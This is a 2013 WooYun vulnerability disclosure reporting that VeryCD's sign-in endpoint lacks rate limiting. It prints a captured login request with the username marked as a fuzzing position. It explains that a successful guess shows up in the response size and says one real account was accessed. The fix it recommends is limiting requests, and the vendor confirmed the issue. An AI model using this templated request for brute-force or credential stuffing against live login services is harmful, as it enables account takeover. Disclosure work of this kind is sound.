当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044898

漏洞标题：VeryCD设计不当可暴力破解账号

相关厂商：VeryCD

漏洞作者： 神经病

提交时间：2013-12-04 15:19

修复时间：2014-01-18 15:19

公开时间：2014-01-18 15:19

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-04： 细节已通知厂商并且等待厂商处理中
2013-12-04： 厂商已经确认，细节仅向厂商公开
2013-12-14： 细节向核心白帽子及相关领域专家公开
2013-12-24： 细节向普通白帽子公开
2014-01-03： 细节向实习白帽子公开
2014-01-18： 细节向公众公开

简要描述：

-，-

详细说明：

测试地址：

http://secure.verycd.com/


3.png


test：123456登陆并抓包

POST /signin HTTP/1.1
Host: secure.verycd.com
Proxy-Connection: keep-alive
Content-Length: 112
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Maxthon/4.1.3.5000 Chrome/26.0.1410.43 Safari/537.1
Origin: http://secure.verycd.com
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://secure.verycd.com/lostpass
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie:！@#￥@#
username=§test§&password=123456&login_submit=%E7%99%BB%E5%BD%95&continue=http%3A%2F%2Fsecure.verycd.com%2Flostpass


可以对用户名或密码进行猜解，撞库等

1.png


根据返回包大小可判断爆破成功
登陆simon

2.png


漏洞证明：

1.png


2.png


修复方案：

接口做限制.
求个小礼物~.~

版权声明：转载请注明来源 神经病@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-12-04 15:35

厂商回复：

谢谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-04 15:30 | 浪迹海角 ( 路人 | Rank:20 漏洞数:4 | 低调，谢绝各种查水表、快递、家电下乡、人...)

    洞主好名字。

  2. 2013-12-04 15:31 | 神经病 ( 路人 | Rank:28 漏洞数:9 | 我是神经病!)

    @浪迹海角 天生的

  3. 2013-12-04 16:41 | 浪迹海角 ( 路人 | Rank:20 漏洞数:4 | 低调，谢绝各种查水表、快递、家电下乡、人...)

    洞主的神韵似曾相识。

  4. 2013-12-04 16:50 | 神经病 ( 路人 | Rank:28 漏洞数:9 | 我是神经病!)

    @浪迹海角 你这么一说,好像是有点~